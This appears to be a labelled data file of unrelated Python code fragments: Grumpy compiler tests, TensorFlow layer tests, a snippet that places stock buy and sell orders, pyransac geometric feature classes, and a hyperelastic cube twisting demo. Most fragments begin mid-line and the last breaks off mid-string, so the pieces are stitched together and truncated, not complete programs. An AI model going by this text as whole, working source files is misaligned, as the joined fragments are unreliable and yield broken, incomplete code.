print 'bar'""""""))) def testImport(self): self.assertEqual((0, ""\n""), _GrumpRun(textwrap.dedent(""""""\ import sys print type(sys.modules)""""""))) def testImportFutureLateRaises(self): regexp = 'from __future__ imports must occur at the beginning of the file' self.assertRaisesRegexp(util.ImportError, regexp, _ParseAndVisit, 'foo = bar\nfrom __future__ import print_function') def testFutureUnicodeLiterals(self): want = ""u'foo'\n"" self.assertEqual((0, want), _GrumpRun(textwrap.dedent(""""""\ from __future__ import unicode_literals print repr('foo')""""""))) def testImportMember(self): self.assertEqual((0, ""\n""), _GrumpRun(textwrap.dedent(""""""\ from sys import modules print type(modules)""""""))) def testImportConflictingPackage(self): self.assertEqual((0, ''), _GrumpRun(textwrap.dedent(""""""\ import time from ""__go__/time"" import Now""""""))) def testImportNative(self): self.assertEqual((0, '1 1000000000\n'), _GrumpRun(textwrap.dedent(""""""\ from ""__go__/time"" import Nanosecond, Second print Nanosecond, Second""""""))) def testImportGrumpy(self): self.assertEqual((0, ''), _GrumpRun(textwrap.dedent(""""""\ from ""__go__/grumpy"" import Assert Assert(__frame__(), True, 'bad')""""""))) def testImportNativeType(self): self.assertEqual((0, ""\n""), _GrumpRun(textwrap.dedent(""""""\ from ""__go__/time"" import Duration print Duration""""""))) def testImportWildcardMemberRaises(self): regexp = 'wildcard member import is not implemented' self.assertRaisesRegexp(util.ImportError, regexp, _ParseAndVisit, 'from foo import *') self.assertRaisesRegexp(util.ImportError, regexp, _ParseAndVisit, 'from ""__go__/foo"" import *') def testPrintStatement(self): self.assertEqual((0, 'abc 123\nfoo bar\n'), _GrumpRun(textwrap.dedent(""""""\ print 'abc', print '123' print 'foo', 'bar'""""""))) def testPrintFunction(self): want = ""abc\n123\nabc 123\nabcx123\nabc 123 "" self.assertEqual((0, want), _GrumpRun(textwrap.dedent(""""""\ ""module docstring is ok to proceed __future__"" from __future__ import print_function print('abc') print(123) print('abc', 123) print('abc', 123, sep='x') print('abc', 123, end=' ')""""""))) def testRaiseExitStatus(self): self.assertEqual(1, _GrumpRun('raise Exception')[0]) def testRaiseInstance(self): self.assertEqual((0, 'foo\n'), _GrumpRun(textwrap.dedent(""""""\ try: raise RuntimeError('foo') print 'bad' except RuntimeError as e: print e""""""))) def testRaiseTypeAndArg(self): self.assertEqual((0, 'foo\n'), _GrumpRun(textwrap.dedent(""""""\ try: raise KeyError('foo') print 'bad' except KeyError as e: print e""""""))) def testRaiseAgain(self): self.assertEqual((0, 'foo\n'), _GrumpRun(textwrap.dedent(""""""\ try: try: raise AssertionError('foo') except AssertionError: raise except Exception as e: print e""""""))) def testRaiseTraceback(self): self.assertEqual((0, ''), _GrumpRun(textwrap.dedent(""""""\ import sys try: try: raise Exception except: e, _, tb = sys.exc_info() raise e, None, tb except: e2, _, tb2 = sys.exc_info() assert e is e2 assert tb is tb2""""""))) def testReturn(self): self.assertEqual((0, 'bar\n'), _GrumpRun(textwrap.dedent(""""""\ def foo(): return 'bar' print foo()""""""))) def testTryBareExcept(self): self.assertEqual((0, ''), _GrumpRun(textwrap.dedent(""""""\ try: raise AssertionError except: pass""""""))) def testTryElse(self): self.assertEqual((0, 'foo baz\n'), _GrumpRun(textwrap.dedent(""""""\ try: print 'foo', except: print 'bar' else: print 'baz'""""""))) def testTryMultipleExcept(self): self.assertEqual((0, 'bar\n'), _GrumpRun(textwrap.dedent(""""""\ try: raise AssertionError except RuntimeError: print 'foo' except AssertionError: print 'bar' except: print 'baz'""""""))) def testTryFinally(self): result = _GrumpRun(textwrap.dedent(""""""\ try: print 'foo', finally: print 'bar' try: print 'foo', raise Exception finally: print 'bar'"""""")) self.assertEqual(1, result[0]) self.assertIn('foo bar\nfoo bar\n', result[1]) self.assertIn('Exception\n', result[1]) def testWhile(self): self.assertEqual((0, '2\n1\n'), _GrumpRun(textwrap.dedent(""""""\ i = 2 while i: print i i -= 1""""""))) def testWhileElse(self): self.assertEqual((0, 'bar\n'), _GrumpRun(textwrap.dedent(""""""\ while False: print 'foo' else: print 'bar'""""""))) def testWith(self): self.assertEqual((0, 'enter\n1\nexit\nenter\n2\nexit\n3\n'), _GrumpRun(textwrap.dedent(""""""\ class ContextManager(object): def __enter__(self): print ""enter"" def __exit__(self, exc_type, value, traceback): print ""exit"" a = ContextManager() with a: print 1 try: with a: print 2 raise RuntimeError except RuntimeError: print 3 """"""))) def testWithAs(self): self.assertEqual((0, '1 2 3\n'), _GrumpRun(textwrap.dedent(""""""\ class ContextManager(object): def __enter__(self): return (1, (2, 3)) def __exit__(self, *args): pass with ContextManager() as [x, (y, z)]: print x, y, z """"""))) def testWriteExceptDispatcherBareExcept(self): visitor = stmt.StatementVisitor(_MakeModuleBlock()) handlers = [ast.ExceptHandler(type=ast.Name(id='foo')), ast.ExceptHandler(type=None)] self.assertEqual(visitor._write_except_dispatcher( # pylint: disable=protected-access 'exc', 'tb', handlers), [1, 2]) expected = re.compile(r'ResolveGlobal\(.*foo.*\bIsInstance\(.*' r'goto Label1.*goto Label2', re.DOTALL) self.assertRegexpMatches(visitor.writer.getvalue(), expected) def testWriteExceptDispatcherBareExceptionNotLast(self): visitor = stmt.StatementVisitor(_MakeModuleBlock()) handlers = [ast.ExceptHandler(type=None), ast.ExceptHandler(type=ast.Name(id='foo'))] self.assertRaisesRegexp(util.ParseError, r""default 'except:' must be last"", visitor._write_except_dispatcher, # pylint: disable=protected-access 'exc', 'tb', handlers) def testWriteExceptDispatcherMultipleExcept(self): visitor = stmt.StatementVisitor(_MakeModuleBlock()) handlers = [ast.ExceptHandler(type=ast.Name(id='foo')), ast.ExceptHandler(type=ast.Name(id='bar'))] self.assertEqual(visitor._write_except_dispatcher( # pylint: disable=protected-access 'exc', 'tb', handlers), [1, 2]) expected = re.compile( r'ResolveGlobal\(.*foo.*\bif .*\bIsInstance\(.*\{.*goto Label1.*' r'ResolveGlobal\(.*bar.*\bif .*\bIsInstance\(.*\{.*goto Label2.*' r'\bRaise\(exc\.ToObject\(\), nil, tb\.ToObject\(\)\)', re.DOTALL) self.assertRegexpMatches(visitor.writer.getvalue(), expected) def _MakeModuleBlock(): return block.ModuleBlock(None, '__main__', '', '', imputil.FutureFeatures()) def _ParseAndVisit(source): mod = pythonparser.parse(source) _, future_features = imputil.parse_future_features(mod) importer = imputil.Importer(None, 'foo', 'foo.py', False) b = block.ModuleBlock(importer, '__main__', '', source, future_features) visitor = stmt.StatementVisitor(b) visitor.visit(mod) return visitor def _GrumpRun(cmd): p = subprocess.Popen(['grumpy', 'run'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) out, _ = p.communicate(cmd) return p.returncode, out if __name__ == '__main__': shard_test.main() ",1 "is file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """"""Tests for tf.layers.core."""""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import collections import numpy as np from tensorflow.python.eager import context from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import ops from tensorflow.python.framework import tensor_shape from tensorflow.python.framework import test_util from tensorflow.python.layers import core as core_layers from tensorflow.python.ops import array_ops from tensorflow.python.ops import init_ops from tensorflow.python.ops import math_ops from tensorflow.python.ops import nn_ops from tensorflow.python.ops import random_ops from tensorflow.python.ops import variable_scope from tensorflow.python.ops import variables from tensorflow.python.platform import test class DenseTest(test.TestCase): @test_util.run_in_graph_and_eager_modes() def testDenseProperties(self): dense = core_layers.Dense(2, activation=nn_ops.relu, name='my_dense') self.assertEqual(dense.units, 2) self.assertEqual(dense.activation, nn_ops.relu) self.assertEqual(dense.kernel_regularizer, None) self.assertEqual(dense.bias_regularizer, None) self.assertEqual(dense.activity_regularizer, None) self.assertEqual(dense.use_bias, True) # Test auto-naming dense = core_layers.Dense(2, activation=nn_ops.relu) dense.apply(random_ops.random_uniform((5, 2))) self.assertEqual(dense.name, 'dense_1') dense = core_layers.Dense(2, activation=nn_ops.relu) dense.apply(random_ops.random_uniform((5, 2))) self.assertEqual(dense.name, 'dense_2') def testVariableInput(self): with self.test_session(): v = variable_scope.get_variable( 'X', initializer=init_ops.zeros_initializer(), shape=(1, 1)) x = core_layers.Dense(1)(v) variables.global_variables_initializer().run() self.assertAllEqual(x.eval(), [[0.0]]) @test_util.run_in_graph_and_eager_modes() def testCall(self): dense = core_layers.Dense(2, activation=nn_ops.relu, name='my_dense') inputs = random_ops.random_uniform((5, 4), seed=1) outputs = dense(inputs) self.assertListEqual([5, 2], outputs.get_shape().as_list()) self.assertListEqual(dense.variables, [dense.kernel, dense.bias]) self.assertListEqual(dense.trainable_variables, [dense.kernel, dense.bias]) self.assertListEqual(dense.non_trainable_variables, []) if context.in_graph_mode(): self.assertEqual( len(ops.get_collection(ops.GraphKeys.TRAINABLE_VARIABLES)), 2) self.assertEqual(dense.kernel.name, 'my_dense/kernel:0') self.assertEqual(dense.bias.name, 'my_dense/bias:0') @test_util.run_in_graph_and_eager_modes() def testCallTensorDot(self): dense = core_layers.Dense(2, activation=nn_ops.relu, name='my_dense') inputs = random_ops.random_uniform((5, 4, 3), seed=1) outputs = dense(inputs) self.assertListEqual([5, 4, 2], outputs.get_shape().as_list()) @test_util.run_in_graph_and_eager_modes() def testNoBias(self): dense = core_layers.Dense(2, use_bias=False, name='my_dense') inputs = random_ops.random_uniform((5, 2), seed=1) _ = dense(inputs) self.assertListEqual(dense.variables, [dense.kernel]) self.assertListEqual(dense.trainable_variables, [dense.kernel]) self.assertListEqual(dense.non_trainable_variables, []) if context.in_graph_mode(): self.assertEqual( len(ops.get_collection(ops.GraphKeys.TRAINABLE_VARIABLES)), 1) self.assertEqual(dense.kernel.name, 'my_dense/kernel:0') self.assertEqual(dense.bias, None) @test_util.run_in_graph_and_eager_modes() def testNonTrainable(self): dense = core_layers.Dense(2, trainable=False, name='my_dense') inputs = random_ops.random_uniform((5, 2), seed=1) _ = dense(inputs) self.assertListEqual(dense.variables, [dense.kernel, dense.bias]) self.assertListEqual(dense.non_trainable_variables, [dense.kernel, dense.bias]) self.assertListEqual(dense.trainable_variables, []) if context.in_graph_mode(): self.assertEqual( len(ops.get_collection(ops.GraphKeys.TRAINABLE_VARIABLES)), 0) @test_util.run_in_graph_and_eager_modes() def testOutputShape(self): dense = core_layers.Dense(7, activation=nn_ops.relu, name='my_dense') inputs = random_ops.random_uniform((5, 3), seed=1) outputs = dense.apply(inputs) self.assertEqual(outputs.get_shape().as_list(), [5, 7]) inputs = random_ops.random_uniform((5, 2, 3), seed=1) outputs = dense(inputs) self.assertEqual(outputs.get_shape().as_list(), [5, 2, 7]) inputs = random_ops.random_uniform((1, 2, 4, 3), seed=1) outputs = dense.apply(inputs) self.assertEqual(outputs.get_shape().as_list(), [1, 2, 4, 7]) def testCallOnPlaceHolder(self): inputs = array_ops.placeholder(dtype=dtypes.float32) dense = core_layers.Dense(4, name='my_dense') with self.assertRaises(ValueError): dense(inputs) inputs = array_ops.placeholder(dtype=dtypes.float32, shape=[None, None]) dense = core_layers.Dense(4, name='my_dense') with self.assertRaises(ValueError): dense(inputs) inputs = array_ops.placeholder( dtype=dtypes.float32, shape=[None, None, None]) dense = core_layers.Dense(4, name='my_dense') with self.assertRaises(ValueError): dense(inputs) inputs = array_ops.placeholder(dtype=dtypes.float32, shape=[None, 3]) dense = core_layers.Dense(4, name='my_dense') dense(inputs) inputs = array_ops.placeholder(dtype=dtypes.float32, shape=[None, None, 3]) dense = core_layers.Dense(4, name='my_dense') dense(inputs) @test_util.run_in_graph_and_eager_modes() def testActivation(self): dense = core_layers.Dense(2, activation=nn_ops.relu, name='dense1') inputs = random_ops.random_uniform((5, 3), seed=1) outputs = dense(inputs) if context.in_graph_mode(): self.assertEqual(outputs.op.name, 'dense1/Relu') dense = core_layers.Dense(2, name='dense2') inputs = random_ops.random_uniform((5, 3), seed=1) outputs = dense(inputs) if context.in_graph_mode(): self.assertEqual(outputs.op.name, 'dense2/BiasAdd') def testActivityRegularizer(self): regularizer = lambda x: math_ops.reduce_sum(x) * 1e-3 dense = core_layers.Dense( 2, name='my_dense', activity_regularizer=regularizer) inputs = random_ops.random_uniform((5, 3), seed=1) _ = dense(inputs) loss_keys = ops.get_collection(ops.GraphKeys.REGULARIZATION_LOSSES) self.assertEqual(len(loss_keys), 1) self.assertListEqual(dense.losses, loss_keys) def testKernelRegularizer(self): regularizer = lambda x: math_ops.reduce_sum(x) * 1e-3 dense = core_layers.Dense( 2, name='my_dense', kernel_regularizer=regularizer) inputs = random_ops.random_uniform((5, 3), seed=1) _ = dense(inputs) loss_keys = ops.get_collection(ops.GraphKeys.REGULARIZATION_LOSSES) self.assertEqual(len(loss_keys), 1) self.assertListEqual(dense.losses, loss_keys) def testKernelRegularizerWithReuse(self): regularizer = lambda x: math_ops.reduce_sum(x) * 1e-3 inputs = random_ops.random_uniform((5, 3), seed=1) _ = core_layers.dense( inputs, 2, name='my_dense', kernel_regularizer=regularizer) self.assertEqual( len(ops.get_collection(ops.GraphKeys.REGULARIZATION_LOSSES)), 1) _ = core_layers.dense( inputs, 2, name='my_dense', kernel_regularizer=regularizer, reuse=True) self.assertEqual( len(ops.get_collection(ops.GraphKeys.REGULARIZATION_LOSSES)), 1) def testBiasRegularizer(self): regularizer = lambda x: math_ops.reduce_sum(x) * 1e-3 dense = core_layers.Dense(2, name='my_dense', bias_regularizer=regularizer) inputs = random_ops.random_uniform((5, 3), seed=1) _ = dense(inputs) loss_keys = ops.get_collection(ops.GraphKeys.REGULARIZATION_LOSSES) self.assertEqual(len(loss_keys), 1) self.assertListEqual(dense.losses, loss_keys) def testFunctionalDense(self): with self.test_session(): inputs = random_ops.random_uniform((5, 3), seed=1) outputs = core_layers.dense( inputs, 2, activation=nn_ops.relu, name='my_dense') self.assertEqual( len(ops.get_collection(ops.GraphKeys.TRAINABLE_VARIABLES)), 2) self.assertEqual(outputs.op.name, 'my_dense/Relu') def testFunctionalDenseTwice(self): inputs = random_ops.random_uniform((5, 3), seed=1) core_layers.dense(inputs, 2) vars1 = _get_variable_dict_from_varstore().values() core_layers.dense(inputs, 2) vars2 = _get_variable_dict_from_varstore().values() self.assertEqual(len(vars1), 2) self.assertEqual(len(vars2), 4) # TODO(alive): get this to work in eager mode. def testFunctionalDenseTwiceReuse(self): with self.test_session(): inputs = random_ops.random_uniform((5, 3), seed=1) core_layers.dense(inputs, 2, name='my_dense') vars1 = variables.trainable_variables() core_layers.dense(inputs, 2, name='my_dense', reuse=True) vars2 = variables.trainable_variables() self.assertEqual(vars1, vars2) # TODO(alive): get this to work in eager mode. def testFunctionalDenseTwiceReuseFromScope(self): with self.test_session(): with variable_scope.variable_scope('scope'): inputs = random_ops.random_uniform((5, 3), seed=1) core_layers.dense(inputs, 2, name='my_dense') vars1 = variables.trainable_variables() with variable_scope.variable_scope('scope', reuse=True): core_layers.dense(inputs, 2, name='my_dense') vars2 = variables.trainable_variables() self.assertEqual(vars1, vars2) def testFunctionalDenseInitializerFromScope(self): with variable_scope.variable_scope( 'scope', initializer=init_ops.ones_initializer()), self.test_session(): inputs = random_ops.random_uniform((5, 3), seed=1) core_layers.dense(inputs, 2) variables.global_variables_initializer().run() weights = _get_variable_dict_from_varstore() self.assertEqual(len(weights), 2) # Check that the matrix weights got initialized to ones (from scope). self.assertAllClose(weights['scope/dense/kernel'].read_value().eval(), np.ones((3, 2))) # Check that the bias still got initialized to zeros. self.assertAllClose(weights['scope/dense/bias'].read_value().eval(), np.zeros((2))) def testEagerExecution(self): with context.eager_mode(): container = variable_scope.EagerVariableStore() x = constant_op.constant([[2.0]]) with container.as_default(): y = core_layers.dense( x, 1, name='my_dense', kernel_initializer=init_ops.ones_initializer()) self.assertAllEqual(y, [[2.0]]) self.assertEqual(len(container.variables()), 2) # Recreate the layer to test reuse. with container.as_default(): core_layers.dense( x, 1, name='my_dense', kernel_initializer=init_ops.ones_initializer()) self.assertEqual(len(container.variables()), 2) def testFunctionalDenseWithCustomGetter(self): called = [0] def custom_getter(getter, *args, **kwargs): called[0] += 1 return getter(*args, **kwargs) with variable_scope.variable_scope('test', custom_getter=custom_getter): inputs = random_ops.random_uniform((5, 3), seed=1) core_layers.dense(inputs, 2) self.assertEqual(called[0], 2) def testFunctionalDenseInScope(self): with self.test_session(): with variable_scope.variable_scope('test'): inputs = random_ops.random_uniform((5, 3), seed=1) core_layers.dense(inputs, 2, name='my_dense') var_dict = _get_variable_dict_from_varstore() var_key = 'test/my_dense/kernel' self.assertEqual(var_dict[var_key].name, '%s:0' % var_key) with variable_scope.variable_scope('test1') as scope: inputs = random_ops.random_uniform((5, 3), seed=1) core_layers.dense(inputs, 2, name=scope) var_dict = _get_variable_dict_from_varstore() var_key = 'test1/kernel' self.assertEqual(var_dict[var_key].name, '%s:0' % var_key) with variable_scope.variable_scope('test2'): inputs = random_ops.random_uniform((5, 3), seed=1) core_layers.dense(inputs, 2) var_dict = _get_variable_dict_from_varstore() var_key = 'test2/dense/kernel' self.assertEqual(var_dict[var_key].name, '%s:0' % var_key) @test_util.run_in_graph_and_eager_modes() def testComputeOutputShape(self): dense = core_layers.Dense(2, activation=nn_ops.relu, name='dense1') ts = tensor_shape.TensorShape # pylint: disable=protected-access with self.assertRaises(ValueError): dense._compute_output_shape(ts(None)) with self.assertRaises(ValueError): dense._compute_output_shape(ts([])) with self.assertRaises(ValueError): dense._compute_output_shape(ts([1])) self.assertEqual( [None, 2], dense._compute_output_shape((None, 3)).as_list()) self.assertEqual( [None, 2], dense._compute_output_shape(ts([None, 3])).as_list()) self.assertEqual( [None, 4, 2], dense._compute_output_shape(ts([None, 4, 3])).as_list()) # pylint: enable=protected-access @test_util.run_in_graph_and_eager_modes() def testConstraints(self): k_constraint = lambda x: x / math_ops.reduce_sum(x) b_constraint = lambda x: x / math_ops.reduce_max(x) dense = core_layers.Dense(2, kernel_constraint=k_constraint, bias_constraint=b_constraint) inputs = random_ops.random_uniform((5, 3), seed=1) dense(inputs) self.assertEqual(dense.kernel_constraint, k_constraint) self.assertEqual(dense.bias_constraint, b_constraint) def _get_variable_dict_from_varstore(): var_dict = variable_scope._get_default_variable_store()._vars # pylint: disable=protected-access sorted_var_dict = collections.OrderedDict( sorted(var_dict.items(), key=lambda t: t[0])) return sorted_var_dict class DropoutTest(test.TestCase): @test_util.run_in_graph_and_eager_modes() def testDropoutProperties(self): dp = core_layers.Dropout(0.5, name='dropout') self.assertEqual(dp.rate, 0.5) self.assertEqual(dp.noise_shape, None) dp.apply(array_ops.ones(())) self.assertEqual(dp.name, 'dropout') @test_util.run_in_graph_and_eager_modes() def testBooleanLearningPhase(self): dp = core_layers.Dropout(0.5) inputs = array_ops.ones((5, 3)) dropped = dp.apply(inputs, training=True) if context.in_graph_mode(): self.evaluate(variables.global_variables_initializer()) np_output = self.evaluate(dropped) self.assertAlmostEqual(0., np_output.min()) dropped = dp.apply(inputs, training=False) np_output = self.evaluate(dropped) self.assertAllClose(np.ones((5, 3)), np_output) def testDynamicLearningPhase(self): with self.test_session() as sess: dp = core_layers.Dropout(0.5, seed=1) inputs = array_ops.ones((5, 5)) training = array_ops.placeholder(dtype='bool') dropped = dp.apply(inputs, training=training) self.evaluate(variables.global_variables_initializer()) np_output = sess.run(dropped, feed_dict={training: True}) self.assertAlmostEqual(0., np_output.min()) np_output = sess.run(dropped, feed_dict={training: False}) self.assertAllClose(np.ones((5, 5)), np_output) @test_util.run_in_graph_and_eager_modes() def testDynamicNoiseShape(self): inputs = array_ops.ones((5, 3, 2)) noise_shape = [None, 1, None] dp = core_layers.Dropout(0.5, noise_shape=noise_shape, seed=1) dropped = dp.apply(inputs, training=True) self.evaluate(variables.global_variables_initializer()) np_output = self.evaluate(dropped) self.assertAlmostEqual(0., np_output.min()) self.assertAllClose(np_output[:, 0, :], np_output[:, 1, :]) def testCustomNoiseShape(self): inputs = array_ops.ones((5, 3, 2)) noise_shape = [5, 1, 2] dp = core_layers.Dropout(0.5, noise_shape=noise_shape, seed=1) dropped = dp.apply(inputs, training=True) self.evaluate(variables.global_variables_initializer()) np_output = self.evaluate(dropped) self.assertAlmostEqual(0., np_output.min()) self.assertAllClose(np_output[:, 0, :], np_output[:, 1, :]) def testFunctionalDropout(self): with self.test_session(): inputs = array_ops.ones((5, 5)) dropped = core_layers.dropout(inputs, 0.5, training=True, seed=1) variables.global_variables_initializer().run() np_output = self.evaluate(dropped) self.assertAlmostEqual(0., np_output.min()) dropped = core_layers.dropout(inputs, 0.5, training=False, seed=1) np_output = self.evaluate(dropped) self.assertAllClose(np.ones((5, 5)), np_output) def testDynamicRate(self): with self.test_session() as sess: rate = array_ops.placeholder(dtype='float32', name='rate') dp = core_layers.Dropout(rate, name='dropout') inputs = array_ops.ones((5, 5)) dropped = dp.apply(inputs, training=True) sess.run(variables.global_variables_initializer()) np_output = sess.run(dropped, feed_dict={rate: 0.5}) self.assertAlmostEqual(0., np_output.min()) np_output = sess.run(dropped, feed_dict={rate: 0.0}) self.assertAllClose(np.ones((5, 5)), np_output) class FlattenTest(test.TestCase): def testCreateFlatten(self): with self.test_session() as sess: x = array_ops.placeholder(shape=(None, 2, 3), dtype='float32') y = core_layers.Flatten()(x) np_output = sess.run(y, feed_dict={x: np.zeros((3, 2, 3))}) self.assertEqual(list(np_output.shape), [3, 6]) self.assertEqual(y.get_shape().as_list(), [None, 6]) x = array_ops.placeholder(shape=(1, 2, 3, 2), dtype='float32') y = core_layers.Flatten()(x) np_output = sess.run(y, feed_dict={x: np.zeros((1, 2, 3, 2))}) self.assertEqual(list(np_output.shape), [1, 12]) self.assertEqual(y.get_shape().as_list(), [1, 12]) def testComputeShape(self): shape = core_layers.Flatten()._compute_output_shape((1, 2, 3, 2)) self.assertEqual(shape.as_list(), [1, 12]) shape = core_layers.Flatten()._compute_output_shape((None, 3, 2)) self.assertEqual(shape.as_list(), [None, 6]) shape = core_layers.Flatten()._compute_output_shape((None, 3, None)) self.assertEqual(shape.as_list(), [None, None]) def testFunctionalFlatten(self): x = array_ops.placeholder(shape=(None, 2, 3), dtype='float32') y = core_layers.flatten(x, name='flatten') self.assertEqual(y.get_shape().as_list(), [None, 6]) def testFlattenValueError(self): x = array_ops.placeholder(shape=(None,), dtype='float32') with self.assertRaises(ValueError): core_layers.Flatten()(x) def testFlattenUnknownAxes(self): with self.test_session() as sess: x = array_ops.placeholder(shape=(5, None, None), dtype='float32') y = core_layers.Flatten()(x) np_output = sess.run(y, feed_dict={x: np.zeros((5, 2, 3))}) self.assertEqual(list(np_output.shape), [5, 6]) self.assertEqual(y.get_shape().as_list(), [5, None]) x = array_ops.placeholder(shape=(5, None, 2), dtype='float32') y = core_layers.Flatten()(x) np_output = sess.run(y, feed_dict={x: np.zeros((5, 3, 2))}) self.assertEqual(list(np_output.shape), [5, 6]) self.assertEqual(y.get_shape().as_list(), [5, None]) if __name__ == '__main__': test.main() ",1 "Sometimes more than one instrument may be returned for a given stock symbol stock_instrument = my_trader.instruments(""GEVO"")[0] #Get a stock's quote my_trader.print_quote(""AAPL"") #Prompt for a symbol my_trader.print_quote(); #Print multiple symbols my_trader.print_quotes(stocks=[""BBRY"", ""FB"", ""MSFT""]) #View all data for a given stock ie. Ask price and size, bid price and size, previous close, adjusted previous close, etc. quote_info = my_trader.quote_data(""GEVO"") print(quote_info); #Place a buy order (uses market bid price) buy_order = my_trader.place_buy_order(stock_instrument, 1) #Place a sell order sell_order = my_trader.place_sell_order(stock_instrument, 1) ",1 "as dist class Feature(object): ''' Abstract class that represents a feature to be used with :py:class:`pyransac.ransac.RansacFeature` ''' __metaclass__ = abc.ABCMeta @abc.abstractmethod def __init__(self): pass @abc.abstractproperty def min_points(self): '''int: Minimum number of points needed to define the feature.''' pass @abc.abstractmethod def points_distance(self,points): ''' This function implements a method to compute the distance of points from the feature. Args: points (numpy.ndarray): a numpy array of points the distance must be computed of. Returns: distances (numpy.ndarray): the computed distances of the points from the feature. ''' pass @abc.abstractmethod def print_feature(self,num_points): ''' This method returns an array of x,y coordinates for points that are in the feature. Args: num_points (numpy.ndarray): the number of points to be returned Returns: coords (numpy.ndarray): a num_points x 2 numpy array that contains the points coordinates ''' class Circle(Feature): ''' Feature class for a Circle :math:`(x-x_c)^2 + (y-y_c)^2 - r = 0` ''' min_points = 3 '''int: Minimum number of points needed to define the circle (3).''' def __init__(self,points): self.radius,self.xc,self.yc = self.__gen(points) def __gen(self,points): ''' Compute the radius and the center coordinates of a circumference given three points Args: points (numpy.ndarray): a (3,2) numpy array, each row is a 2D Point. Returns: (tuple): A 3 elements tuple that contains the circumference radius and center coordinates [radius,xc,yc] Raises: RuntimeError: If the circle computation does not succeed a RuntimeError is raised. ''' # Linear system for (D,E,F) in circle # equations: D*xi + E*yi + F = -(xi**2 + yi**2) # where xi, yi are the coordinate of the i-th point. # Generating A matrix A = n.array([(x,y,1) for x,y in points]) # Generating rhs rhs = n.array([-(x**2+y**2) for x,y in points]) try: #Solving linear system D,E,F = linalg.lstsq(A,rhs)[0] except linalg.LinAlgError: raise RuntimeError('Circle calculation not successful. Please\ check the input data, probable collinear points') xc = -D/2 yc = -E/2 r = n.sqrt(xc**2+yc**2-F) return (r,xc,yc) def points_distance(self,points): r''' Compute the distance of the points from the feature :math:`d = \left| \sqrt{(x_i - x_c)^2 + (y_i-y_c)^2} - r \right|` Args: points (numpy.ndarray): a (3,2) numpy array, each row is a 2D Point. Returns: d (numpy.ndarray): the computed distances of the points from the feature. ''' xa = n.array([self.xc,self.yc]).reshape((1,2)) d = n.abs(dist.cdist(points,xa) - self.radius) return d def print_feature(self, num_points): ''' This method returns an array of x,y coordinates for points that are in the feature. Args: num_points (numpy.ndarray): the number of points to be returned Returns: coords (numpy.ndarray): a num_points x 2 numpy array that contains the points coordinates ''' theta = n.linspace(0,2*n.pi,num_points) x = self.xc + self.radius*n.cos(theta) y = self.yc + self.radius*n.sin(theta) return n.vstack((x,y)) class Exponential (Feature): ''' Feature Class for an exponential curve :math:`y=ax^{k} + b` ''' min_points = 3 def __init__(self,points): self.a,self.k,self.b = self.__gen(points) def __gen(self,points): ''' Compute the three parameters that univocally determine the exponential curve Args: points(numpy.ndarray): a (3,2) numpy array, each row is a 2D Point. Returns: exp(numpy.ndarray): A (3,) numpy array that contains the a,n,b parameters [a,k,b] Raises: RuntimeError: If the circle computation does not succeed a RuntimeError is raised. ''' def exponential(x,points): ''' Non linear system function to use with :py:func:`scypy.optimize.root` ''' aa = x[0] nn = x[1] bb = x[2] f = n.zeros((3,)) f[0] = n.abs(aa)*n.power(points[0,0],nn)+bb - points[0,1] f[1] = n.abs(aa)*n.power(points[1,0],nn)+bb - points[1,1] f[2] = n.abs(aa)*n.power(points[2,0],nn)+bb - points[2,1] return f exp = opt.root(exponential,[1,1,1],points,method='lm')['x'] return exp def points_distance(self,points): r''' Compute the distance of the points from the feature :math:`d = \sqrt{(x_i - x_c)^2 + (y_i-y_c)^2}` Args: points (numpy.ndarray): a (3,2) numpy array, each row is a 2D Point. Returns: d (numpy.ndarray): the computed distances of the points from the feature. ''' x = points[:,0] xa = n.array([x,self.a*n.power(x,self.k)+self.b]) xa = xa.T d = dist.cdist(points,xa) return n.diag(d) def print_feature(self, num_points, a,b): ''' This method returns an array of x,y coordinates for points that are in the feature in the interval [a,b]. Args: num_points (numpy.ndarray): the number of points to be returned a (float): left end of the interval b (float): right end of the interval Returns: coords (numpy.ndarray): a num_points x 2 numpy array that contains the points coordinates ''' x = n.linspace(a,b,num_points) y = self.a*x**self.k + self.b return n.vstack((x,y)) ",1 "or any later version"" from cbc.twist import * from sys import argv """""" DEMO - Twisting of a hyperelastic cube """""" class Twist(StaticHyperelasticity): """""" Definition of the hyperelastic problem """""" def mesh(self): n = 8 return UnitCubeMesh(n, n, n) # Setting up dirichlet conditions and boundaries def dirichlet_values(self): clamp = Expression((""0.0"", ""0.0"", ""0.0"")) twist = Expression((""0.0"", ""y0 + (x[1] - y0) * cos(theta) - (x[2] - z0) * sin(theta) - x[1]"", ""z0 + (x[1] - y0) * sin(theta) + (x[2] - z0) * cos(theta) - x[2]""), y0=0.5, z0=0.5, theta=pi/6) return [clamp, twist] def dirichlet_boundaries(self): left = ""x[0] == 0.0"" right = ""x[0] == 1.0"" return [left, right] # List of material models def material_model(self): # Material parameters can either be numbers or spatially # varying fields. For example, mu = 3.8461 lmbda = Expression(""x[0]*5.8 + (1 - x[0])*5.7"") C10 = 0.171; C01 = 4.89e-3; C20 = -2.4e-4; C30 = 5.e-4 delka = 1.0/sqrt(2.0) M = Constant((0.0,1.0,0.0)) k1 = 1e2; k2 = 1e1 materials = [] materials.append(MooneyRivlin({'C1':mu/2, 'C2':mu/2, 'bulk':lmbda})) materials.append(StVenantKirchhoff({'mu':mu, 'bulk':lmbda})) materials.append(neoHookean({'half_nkT':mu, 'bulk':lmbda})) materials.append(Isihara({'C10':C10,'C01':C01,'C20':C20,'bulk':lmbda})) materials.append(Biderman({'C10':C10,'C01':C01,'C20':C20,'C30':C30,'bulk':lmbda})) materials.append(AnisoTest({'mu1':mu,'mu2':2*mu,'M':M,'bulk':lmbda})) materials.append(GasserHolzapfelOgden({'mu':mu,'k1':k1,'k2':k2,'M':M,'bulk':lmbda})) materials.append(Ogden({'alpha1':1.3,'alpha2':5.0,'alpha3':-2.0,\ 'mu1':6.3e5,'mu2':0.012e5,'mu3':-0.1e5})) try: index = int(argv[1]) except: index = 2 print str(materials[index]) return materials[index] def name_method(self, method): self.method = method def __str__(self): return ""A hyperelastic cube twisted by 30 